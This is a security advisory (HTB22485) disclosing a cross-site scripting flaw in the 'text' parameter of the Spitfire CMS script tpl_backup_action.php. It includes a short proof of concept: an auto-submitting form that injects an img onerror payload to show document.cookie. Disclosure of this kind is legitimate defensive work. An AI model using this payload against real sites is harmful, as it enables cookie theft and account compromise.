XSS vulnerability in Spitfire

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22485
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_spitfire_2.html
Product: Spitfire
Vendor: Claus Muus ( http://spitfire.clausmuus.de/ ) 
Vulnerable Version: 1.0.336 and Probably Prior Versions
Vendor Notification: 08 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "tpl_backup_action.php" script 
to properly sanitize user-supplied input in "text" variable. Successful 
exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or 
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/cms/edit/tpl_backup_action.php"; method="post" 
name="main" >
        <input type="hidden" name="action" value="message" />
        <input type="hidden" name="text" value='help text<img src=x 
onerror=alert(document.cookie)>' />
</form>
<script>
document.main.submit();
</script>